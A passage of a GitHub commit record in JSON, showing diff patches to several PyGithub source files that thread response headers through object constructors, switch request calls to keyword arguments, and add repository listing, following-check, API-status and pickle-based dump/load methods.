\"PUT\",\n self.url + \"/labels\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n \n @property\n@@ -381,7 +372,7 @@ def _initAttributes(self):\n def _useAttributes(self, attributes):\n if \"assignee\" in attributes: # pragma no branch\n assert attributes[\"assignee\"] is None or isinstance(attributes[\"assignee\"], dict), attributes[\"assignee\"]\n- self._assignee = None if attributes[\"assignee\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"assignee\"], completed=False)\n+ self._assignee = None if attributes[\"assignee\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"assignee\"], completed=False)\n if \"body\" in attributes: # pragma no branch\n assert attributes[\"body\"] is None or isinstance(attributes[\"body\"], str), attributes[\"body\"]\n self._body = attributes[\"body\"]\n@@ -390,7 +381,7 @@ def _useAttributes(self, attributes):\n self._closed_at = self._parseDatetime(attributes[\"closed_at\"])\n if \"closed_by\" in attributes: # pragma no branch\n assert attributes[\"closed_by\"] is None or isinstance(attributes[\"closed_by\"], dict), attributes[\"closed_by\"]\n- self._closed_by = None if attributes[\"closed_by\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"closed_by\"], completed=False)\n+ self._closed_by = None if attributes[\"closed_by\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"closed_by\"], completed=False)\n if \"comments\" in attributes: # pragma no branch\n assert attributes[\"comments\"] is None or isinstance(attributes[\"comments\"], (int, long)), attributes[\"comments\"]\n self._comments = attributes[\"comments\"]\n@@ -406,21 +397,21 @@ def _useAttributes(self, attributes):\n if \"labels\" in attributes: # pragma no branch\n assert attributes[\"labels\"] is None or all(isinstance(element, dict) for element in attributes[\"labels\"]), attributes[\"labels\"]\n self._labels = None if attributes[\"labels\"] is None else [\n- github.Label.Label(self._requester, element, completed=False)\n+ github.Label.Label(self._requester, self._headers, element, completed=False)\n for element in attributes[\"labels\"]\n ]\n if \"milestone\" in attributes: # pragma no branch\n assert attributes[\"milestone\"] is None or isinstance(attributes[\"milestone\"], dict), attributes[\"milestone\"]\n- self._milestone = None if attributes[\"milestone\"] is None else github.Milestone.Milestone(self._requester, attributes[\"milestone\"], completed=False)\n+ self._milestone = None if attributes[\"milestone\"] is None else github.Milestone.Milestone(self._requester, self._headers, attributes[\"milestone\"], completed=False)\n if \"number\" in attributes: # pragma no branch\n assert attributes[\"number\"] is None or isinstance(attributes[\"number\"], (int, long)), attributes[\"number\"]\n self._number = attributes[\"number\"]\n if \"pull_request\" in attributes: # pragma no branch\n assert attributes[\"pull_request\"] is None or isinstance(attributes[\"pull_request\"], dict), attributes[\"pull_request\"]\n- self._pull_request = None if attributes[\"pull_request\"] is None else github.IssuePullRequest.IssuePullRequest(self._requester, attributes[\"pull_request\"], completed=False)\n+ self._pull_request = None if attributes[\"pull_request\"] is None else github.IssuePullRequest.IssuePullRequest(self._requester, self._headers, attributes[\"pull_request\"], completed=False)\n if \"repository\" in attributes: # pragma no branch\n assert attributes[\"repository\"] is None or isinstance(attributes[\"repository\"], dict), attributes[\"repository\"]\n- self._repository = None if attributes[\"repository\"] is None else github.Repository.Repository(self._requester, attributes[\"repository\"], completed=False)\n+ self._repository = None if attributes[\"repository\"] is None else github.Repository.Repository(self._requester, self._headers, attributes[\"repository\"], completed=False)\n if \"state\" in attributes: # pragma no branch\n assert attributes[\"state\"] is None or isinstance(attributes[\"state\"], str), attributes[\"state\"]\n self._state = attributes[\"state\"]\n@@ -435,4 +426,4 @@ def _useAttributes(self, attributes):\n self._url = attributes[\"url\"]\n if \"user\" in attributes: # pragma no branch\n assert attributes[\"user\"] is None or isinstance(attributes[\"user\"], dict), attributes[\"user\"]\n- self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"user\"], completed=False)\n+ self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"user\"], completed=False)"},{"sha":"149a6f6f1eafaf177dd951aa211f659a6975d72f","filename":"github/IssueComment.py","status":"modified","additions":4,"deletions":6,"changes":10,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/IssueComment.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/IssueComment.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/IssueComment.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Michael Stead #\n # Copyright 2013 Vincent Jacques #\n # #\n@@ -97,9 +98,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def edit(self, body):\n@@ -115,8 +114,7 @@ def edit(self, body):\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -150,4 +148,4 @@ def _useAttributes(self, attributes):\n self._html_url = attributes[\"html_url\"]\n if \"user\" in attributes: # pragma no branch\n assert attributes[\"user\"] is None or isinstance(attributes[\"user\"], dict), attributes[\"user\"]\n- self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"user\"], completed=False)\n+ self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"user\"], completed=False)"},{"sha":"aca4cdf8a90313170980f3b75d11de61c6e3d202","filename":"github/IssueEvent.py","status":"modified","additions":3,"deletions":2,"changes":5,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/IssueEvent.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/IssueEvent.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/IssueEvent.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -102,7 +103,7 @@ def _initAttributes(self):\n def _useAttributes(self, attributes):\n if \"actor\" in attributes: # pragma no branch\n assert attributes[\"actor\"] is None or isinstance(attributes[\"actor\"], dict), attributes[\"actor\"]\n- self._actor = None if attributes[\"actor\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"actor\"], completed=False)\n+ self._actor = None if attributes[\"actor\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"actor\"], completed=False)\n if \"commit_id\" in attributes: # pragma no branch\n assert attributes[\"commit_id\"] is None or isinstance(attributes[\"commit_id\"], str), attributes[\"commit_id\"]\n self._commit_id = attributes[\"commit_id\"]\n@@ -117,7 +118,7 @@ def _useAttributes(self, attributes):\n self._id = attributes[\"id\"]\n if \"issue\" in attributes: # pragma no branch\n assert attributes[\"issue\"] is None or isinstance(attributes[\"issue\"], dict), attributes[\"issue\"]\n- self._issue = None if attributes[\"issue\"] is None else github.Issue.Issue(self._requester, attributes[\"issue\"], completed=False)\n+ self._issue = None if attributes[\"issue\"] is None else github.Issue.Issue(self._requester, self._headers, attributes[\"issue\"], completed=False)\n if \"url\" in attributes: # pragma no branch\n assert attributes[\"url\"] is None or isinstance(attributes[\"url\"], str), attributes[\"url\"]\n self._url = attributes[\"url\"]"},{"sha":"ae7e6b6c203695bc39cd5d057f80df638f8e8ccb","filename":"github/IssuePullRequest.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/IssuePullRequest.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/IssuePullRequest.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/IssuePullRequest.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"813cd5f015c056fdd9e1b0e2e4dc0d9265b5f238","filename":"github/Label.py","status":"modified","additions":3,"deletions":5,"changes":8,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Label.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Label.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Label.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n # #\n@@ -65,9 +66,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def edit(self, name, color):\n@@ -86,8 +85,7 @@ def edit(self, name, color):\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n "},{"sha":"cfe48d679963a0e10f861b76fa9a80cfd2ad85cc","filename":"github/Legacy.py","status":"modified","additions":4,"deletions":3,"changes":7,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Legacy.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Legacy.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Legacy.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -5,6 +5,7 @@\n # Copyright 2012 Steve English #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -57,12 +58,12 @@ def get_page(self, page):\n headers, data = self.__requester.requestJsonAndCheck(\n \"GET\",\n self.__url,\n- args,\n- None\n+ parameters=args\n )\n self.__continue = len(data[self.__key]) > 0\n+\n return [\n- self.__contentClass(self.__requester, self.__convert(element), completed=False)\n+ self.__contentClass(self.__requester, headers, self.__convert(element), completed=False)\n for element in data[self.__key]\n ]\n "},{"sha":"a4af1a618da0a5d865eb1675fd96a085bb0ab680","filename":"github/MainClass.py","status":"modified","additions":113,"deletions":44,"changes":157,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/MainClass.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/MainClass.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/MainClass.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -2,6 +2,7 @@\n \n ############################ Copyrights and license ############################\n # #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Ed Jackson #\n # Copyright 2013 Jonathan J Hunt #\n # Copyright 2013 Peter Golm #\n@@ -25,6 +26,7 @@\n ################################################################################\n \n import urllib\n+import pickle\n \n from Requester import Requester\n import AuthenticatedUser\n@@ -38,6 +40,8 @@\n import HookDescription\n import GitignoreTemplate\n import Notification\n+import Status\n+import StatusMessage\n \n \n DEFAULT_BASE_URL = \"https://api.github.com\"\n@@ -91,8 +95,12 @@ def __get_per_page(self):\n def __set_per_page(self, value):\n self.__requester.per_page = value\n \n+ # v2: Remove this property? Why should it be necessary to read/modify it after construction\n per_page = property(__get_per_page, __set_per_page)\n \n+ # v2: Provide a unified way to access values of headers of last response\n+ # v2: (and add/keep ad hoc properties for specific useful headers like rate limiting, oauth scopes, etc.)\n+ # v2: Return an instance of a class: using a tuple did not allow to add a field \"resettime\"\n @property\n def rate_limiting(self):\n \"\"\"\n@@ -103,9 +111,7 @@ def rate_limiting(self):\n if limit < 0:\n self.__requester.requestJsonAndCheck(\n 'GET',\n- '/rate_limit',\n- None,\n- None\n+ '/rate_limit'\n )\n return self.__requester.rate_limiting\n \n@@ -118,9 +124,7 @@ def rate_limiting_resettime(self):\n if self.__requester.rate_limiting_resettime == 0:\n self.__requester.requestJsonAndCheck(\n 'GET',\n- '/rate_limit',\n- None,\n- None\n+ '/rate_limit'\n )\n return self.__requester.rate_limiting_resettime\n \n@@ -139,15 +143,13 @@ def get_user(self, login=github.GithubObject.NotSet):\n \"\"\"\n assert login is github.GithubObject.NotSet or isinstance(login, str), login\n if login is github.GithubObject.NotSet:\n- return AuthenticatedUser.AuthenticatedUser(self.__requester, {\"url\": \"/user\"}, completed=False)\n+ return AuthenticatedUser.AuthenticatedUser(self.__requester, {}, {\"url\": \"/user\"}, completed=False)\n else:\n headers, data = self.__requester.requestJsonAndCheck(\n \"GET\",\n- \"/users/\" + login,\n- None,\n- None\n+ \"/users/\" + login\n )\n- return github.NamedUser.NamedUser(self.__requester, data, completed=True)\n+ return github.NamedUser.NamedUser(self.__requester, headers, data, completed=True)\n \n def get_users(self, since=github.GithubObject.NotSet):\n \"\"\"\n@@ -175,11 +177,9 @@ def get_organization(self, login):\n assert isinstance(login, str), login\n headers, data = self.__requester.requestJsonAndCheck(\n \"GET\",\n- \"/orgs/\" + login,\n- None,\n- None\n+ \"/orgs/\" + login\n )\n- return github.Organization.Organization(self.__requester, data, completed=True)\n+ return github.Organization.Organization(self.__requester, headers, data, completed=True)\n \n def get_repo(self, full_name):\n \"\"\"\n@@ -189,11 +189,26 @@ def get_repo(self, full_name):\n assert isinstance(full_name, str), full_name\n headers, data = self.__requester.requestJsonAndCheck(\n \"GET\",\n- \"/repos/\" + full_name,\n- None,\n- None\n+ \"/repos/\" + full_name\n+ )\n+ return Repository.Repository(self.__requester, headers, data, completed=True)\n+\n+ def get_repos(self, since=github.GithubObject.NotSet):\n+ \"\"\"\n+ :calls: `GET /repositories `_\n+ :param since: integer\n+ :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository`\n+ \"\"\"\n+ assert since is github.GithubObject.NotSet or isinstance(since, (int, long)), since\n+ url_parameters = dict()\n+ if since is not github.GithubObject.NotSet:\n+ url_parameters[\"since\"] = since\n+ return github.PaginatedList.PaginatedList(\n+ github.Repository.Repository,\n+ self.__requester,\n+ \"/repositories\",\n+ url_parameters\n )\n- return Repository.Repository(self.__requester, data, completed=True)\n \n def get_gist(self, id):\n \"\"\"\n@@ -204,11 +219,9 @@ def get_gist(self, id):\n assert isinstance(id, str), id\n headers, data = self.__requester.requestJsonAndCheck(\n \"GET\",\n- \"/gists/\" + id,\n- None,\n- None\n+ \"/gists/\" + id\n )\n- return github.Gist.Gist(self.__requester, data, completed=True)\n+ return github.Gist.Gist(self.__requester, headers, data, completed=True)\n \n def get_gists(self):\n \"\"\"\n@@ -266,11 +279,9 @@ def legacy_search_user_by_email(self, email):\n assert isinstance(email, str), email\n headers, data = self.__requester.requestJsonAndCheck(\n \"GET\",\n- \"/legacy/user/email/\" + email,\n- None,\n- None\n+ \"/legacy/user/email/\" + email\n )\n- return github.NamedUser.NamedUser(self.__requester, Legacy.convertUser(data[\"user\"]), completed=False)\n+ return github.NamedUser.NamedUser(self.__requester, headers, Legacy.convertUser(data[\"user\"]), completed=False)\n \n def render_markdown(self, text, context=github.GithubObject.NotSet):\n \"\"\"\n@@ -290,23 +301,20 @@ def render_markdown(self, text, context=github.GithubObject.NotSet):\n status, headers, data = self.__requester.requestJson(\n \"POST\",\n \"/markdown\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n return data\n \n def get_hooks(self):\n \"\"\"\n :calls: `GET /hooks `_\n- :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.HookDescription.HookDescription`\n+ :rtype: list of :class:`github.HookDescription.HookDescription`\n \"\"\"\n headers, data = self.__requester.requestJsonAndCheck(\n \"GET\",\n- \"/hooks\",\n- None,\n- None\n+ \"/hooks\"\n )\n- return [HookDescription.HookDescription(self.__requester, attributes, completed=True) for attributes in data]\n+ return [HookDescription.HookDescription(self.__requester, headers, attributes, completed=True) for attributes in data]\n \n def get_gitignore_templates(self):\n \"\"\"\n@@ -315,9 +323,7 @@ def get_gitignore_templates(self):\n \"\"\"\n headers, data = self.__requester.requestJsonAndCheck(\n \"GET\",\n- \"/gitignore/templates\",\n- None,\n- None\n+ \"/gitignore/templates\"\n )\n return data\n \n@@ -329,18 +335,81 @@ def get_gitignore_template(self, name):\n assert isinstance(name, str), name\n headers, attributes = self.__requester.requestJsonAndCheck(\n \"GET\",\n- \"/gitignore/templates/\" + name,\n- None,\n- None\n+ \"/gitignore/templates/\" + name\n )\n- return GitignoreTemplate.GitignoreTemplate(self.__requester, attributes, completed=True)\n+ return GitignoreTemplate.GitignoreTemplate(self.__requester, headers, attributes, completed=True)\n \n- def create_from_raw_data(self, klass, raw_data):\n+ def create_from_raw_data(self, klass, raw_data, headers={}):\n \"\"\"\n- Creates an object from raw_data previously obtained by :attr:`github.GithubObject.GithubObject.raw_data`\n+ Creates an object from raw_data previously obtained by :attr:`github.GithubObject.GithubObject.raw_data`,\n+ and optionaly headers previously obtained by :attr:`github.GithubObject.GithubObject.raw_headers`.\n \n :param klass: the class of the object to create\n :param raw_data: dict\n+ :param headers: dict\n :rtype: instance of class ``klass``\n \"\"\"\n- return klass(self.__requester, raw_data, completed=True)\n+ return klass(self.__requester, headers, raw_data, completed=True)\n+\n+ def dump(self, obj, file, protocol=0):\n+ \"\"\"\n+ Dumps (pickles) a PyGithub object to a file-like object.\n+ Some effort is made to not pickle sensitive informations like the Github credentials used in the :class:`Github` instance.\n+ But NO EFFORT is made to remove sensitive information from the object's attributes.\n+\n+ :param obj: the object to pickle\n+ :param file: the file-like object to pickle to\n+ :param protocol: the `pickling protocol `_\n+ \"\"\"\n+ pickle.dump((obj.__class__, obj.raw_data, obj.raw_headers), file, protocol)\n+\n+ def load(self, f):\n+ \"\"\"\n+ Loads (unpickles) a PyGithub object from a file-like object.\n+\n+ :param f: the file-like object to unpickle from\n+ :return: the unpickled object\n+ \"\"\"\n+ return self.create_from_raw_data(*pickle.load(f))\n+\n+ def get_api_status(self):\n+ \"\"\"\n+ This doesn't work with a Github Enterprise installation, because it always targets https://status.github.com.\n+\n+ :calls: `GET /api/status.json `_\n+ :rtype: :class:`github.Status.Status`\n+ \"\"\"\n+ headers, attributes = self.__requester.requestJsonAndCheck(\n+ \"GET\",\n+ \"/api/status.json\",\n+ cnx=\"status\"\n+ )\n+ return Status.Status(self.__requester, headers, attributes, completed=True)\n+\n+ def get_last_api_status_message(self):\n+ \"\"\"\n+ This doesn't work with a Github Enterprise installation, because it always targets https://status.github.com.\n+\n+ :calls: `GET /api/last-message.json `_\n+ :rtype: :class:`github.StatusMessage.StatusMessage`\n+ \"\"\"\n+ headers, attributes = self.__requester.requestJsonAndCheck(\n+ \"GET\",\n+ \"/api/last-message.json\",\n+ cnx=\"status\"\n+ )\n+ return StatusMessage.StatusMessage(self.__requester, headers, attributes, completed=True)\n+\n+ def get_api_status_messages(self):\n+ \"\"\"\n+ This doesn't work with a Github Enterprise installation, because it always targets https://status.github.com.\n+\n+ :calls: `GET /api/messages.json `_\n+ :rtype: list of :class:`github.StatusMessage.StatusMessage`\n+ \"\"\"\n+ headers, data = self.__requester.requestJsonAndCheck(\n+ \"GET\",\n+ \"/api/messages.json\",\n+ cnx=\"status\"\n+ )\n+ return [StatusMessage.StatusMessage(self.__requester, headers, attributes, completed=True) for attributes in data]"},{"sha":"c07ec38911b95b9baaccd7926cab22c549a9e5dd","filename":"github/Milestone.py","status":"modified","additions":4,"deletions":6,"changes":10,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Milestone.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Milestone.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Milestone.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n # #\n@@ -133,9 +134,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def edit(self, title, state=github.GithubObject.NotSet, description=github.GithubObject.NotSet, due_on=github.GithubObject.NotSet):\n@@ -163,8 +162,7 @@ def edit(self, title, state=github.GithubObject.NotSet, description=github.Githu\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -206,7 +204,7 @@ def _useAttributes(self, attributes):\n self._created_at = self._parseDatetime(attributes[\"created_at\"])\n if \"creator\" in attributes: # pragma no branch\n assert attributes[\"creator\"] is None or isinstance(attributes[\"creator\"], dict), attributes[\"creator\"]\n- self._creator = None if attributes[\"creator\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"creator\"], completed=False)\n+ self._creator = None if attributes[\"creator\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"creator\"], completed=False)\n if \"description\" in attributes: # pragma no branch\n assert attributes[\"description\"] is None or isinstance(attributes[\"description\"], str), attributes[\"description\"]\n self._description = attributes[\"description\"]"},{"sha":"ec9bfbeddafff7bdf23258a08dc9f0ac8f4d964c","filename":"github/NamedUser.py","status":"modified","additions":19,"deletions":8,"changes":27,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/NamedUser.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/NamedUser.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/NamedUser.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -5,6 +5,7 @@\n # Copyright 2012 Steve English #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -268,10 +269,9 @@ def create_gist(self, public, files, description=github.GithubObject.NotSet):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/gists\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.Gist.Gist(self._requester, data, completed=True)\n+ return github.Gist.Gist(self._requester, headers, data, completed=True)\n \n def get_events(self):\n \"\"\"\n@@ -390,11 +390,9 @@ def get_repo(self, name):\n assert isinstance(name, str), name\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- \"/repos/\" + self.login + \"/\" + name,\n- None,\n- None\n+ \"/repos/\" + self.login + \"/\" + name\n )\n- return github.Repository.Repository(self._requester, data, completed=True)\n+ return github.Repository.Repository(self._requester, headers, data, completed=True)\n \n def get_repos(self, type=github.GithubObject.NotSet):\n \"\"\"\n@@ -449,6 +447,19 @@ def get_watched(self):\n None\n )\n \n+ def has_in_following(self, following):\n+ \"\"\"\n+ :calls: `GET /user/:user/following/:target_user `_\n+ :param following: :class:`github.NamedUser.NamedUser`\n+ :rtype: bool\n+ \"\"\"\n+ assert isinstance(following, github.NamedUser.NamedUser), following\n+ status, headers, data = self._requester.requestJson(\n+ \"GET\",\n+ self.url + \"/following/\" + following._identity\n+ )\n+ return status == 204\n+\n @property\n def _identity(self):\n return self.login\n@@ -541,7 +552,7 @@ def _useAttributes(self, attributes):\n self._owned_private_repos = attributes[\"owned_private_repos\"]\n if \"plan\" in attributes: # pragma no branch\n assert attributes[\"plan\"] is None or isinstance(attributes[\"plan\"], dict), attributes[\"plan\"]\n- self._plan = None if attributes[\"plan\"] is None else github.Plan.Plan(self._requester, attributes[\"plan\"], completed=False)\n+ self._plan = None if attributes[\"plan\"] is None else github.Plan.Plan(self._requester, self._headers, attributes[\"plan\"], completed=False)\n if \"private_gists\" in attributes: # pragma no branch\n assert attributes[\"private_gists\"] is None or isinstance(attributes[\"private_gists\"], (int, long)), attributes[\"private_gists\"]\n self._private_gists = attributes[\"private_gists\"]"},{"sha":"bb1c96b6780fb31573952d049166fd68ecb5a64a","filename":"github/Notification.py","status":"modified","additions":3,"deletions":2,"changes":5,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Notification.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Notification.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Notification.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -2,6 +2,7 @@\n \n ############################ Copyrights and license ############################\n # #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Peter Golm #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n@@ -104,10 +105,10 @@ def _useAttributes(self, attributes):\n self._id = attributes[\"id\"]\n if \"repository\" in attributes: # pragma no branch\n assert attributes[\"repository\"] is None or isinstance(attributes[\"repository\"], dict), attributes[\"repository\"]\n- self._repository = None if attributes[\"repository\"] is None else github.Repository.Repository(self._requester, attributes[\"repository\"], completed=False)\n+ self._repository = None if attributes[\"repository\"] is None else github.Repository.Repository(self._requester, self._headers, attributes[\"repository\"], completed=False)\n if \"subject\" in attributes: # pragma no branch\n assert attributes[\"subject\"] is None or isinstance(attributes[\"subject\"], dict), attributes[\"subject\"]\n- self._subject = None if attributes[\"subject\"] is None else github.NotificationSubject.NotificationSubject(self._requester, attributes[\"subject\"], completed=False)\n+ self._subject = None if attributes[\"subject\"] is None else github.NotificationSubject.NotificationSubject(self._requester, self._headers, attributes[\"subject\"], completed=False)\n if \"reason\" in attributes: # pragma no branch\n assert attributes[\"reason\"] is None or isinstance(attributes[\"reason\"], str), attributes[\"reason\"]\n self._reason = attributes[\"reason\"]"},{"sha":"7e1ce3adbf00f58e49724f0af978be5294a5b6f1","filename":"github/NotificationSubject.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/NotificationSubject.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/NotificationSubject.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/NotificationSubject.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -2,6 +2,7 @@\n \n ############################ Copyrights and license ############################\n # #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"68245f3e28173790bcae32b16120ab027b995188","filename":"github/Organization.py","status":"modified","additions":18,"deletions":35,"changes":53,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Organization.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Organization.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Organization.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -5,6 +5,7 @@\n # Copyright 2012 Steve English #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n # #\n@@ -243,9 +244,7 @@ def add_to_public_members(self, public_member):\n assert isinstance(public_member, github.NamedUser.NamedUser), public_member\n headers, data = self._requester.requestJsonAndCheck(\n \"PUT\",\n- self.url + \"/public_members/\" + public_member._identity,\n- None,\n- None\n+ self.url + \"/public_members/\" + public_member._identity\n )\n \n def create_fork(self, repo):\n@@ -261,10 +260,9 @@ def create_fork(self, repo):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n \"/repos/\" + repo.owner.login + \"/\" + repo.name + \"/forks\",\n- url_parameters,\n- None\n+ parameters=url_parameters\n )\n- return github.Repository.Repository(self._requester, data, completed=True)\n+ return github.Repository.Repository(self._requester, headers, data, completed=True)\n \n def create_repo(self, name, description=github.GithubObject.NotSet, homepage=github.GithubObject.NotSet, private=github.GithubObject.NotSet, has_issues=github.GithubObject.NotSet, has_wiki=github.GithubObject.NotSet, has_downloads=github.GithubObject.NotSet, team_id=github.GithubObject.NotSet, auto_init=github.GithubObject.NotSet, gitignore_template=github.GithubObject.NotSet):\n \"\"\"\n@@ -315,10 +313,9 @@ def create_repo(self, name, description=github.GithubObject.NotSet, homepage=git\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/repos\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.Repository.Repository(self._requester, data, completed=True)\n+ return github.Repository.Repository(self._requester, headers, data, completed=True)\n \n def create_team(self, name, repo_names=github.GithubObject.NotSet, permission=github.GithubObject.NotSet):\n \"\"\"\n@@ -341,10 +338,9 @@ def create_team(self, name, repo_names=github.GithubObject.NotSet, permission=gi\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/teams\",\n- None,\n- post_parameters\n+ input=post_parameters\n 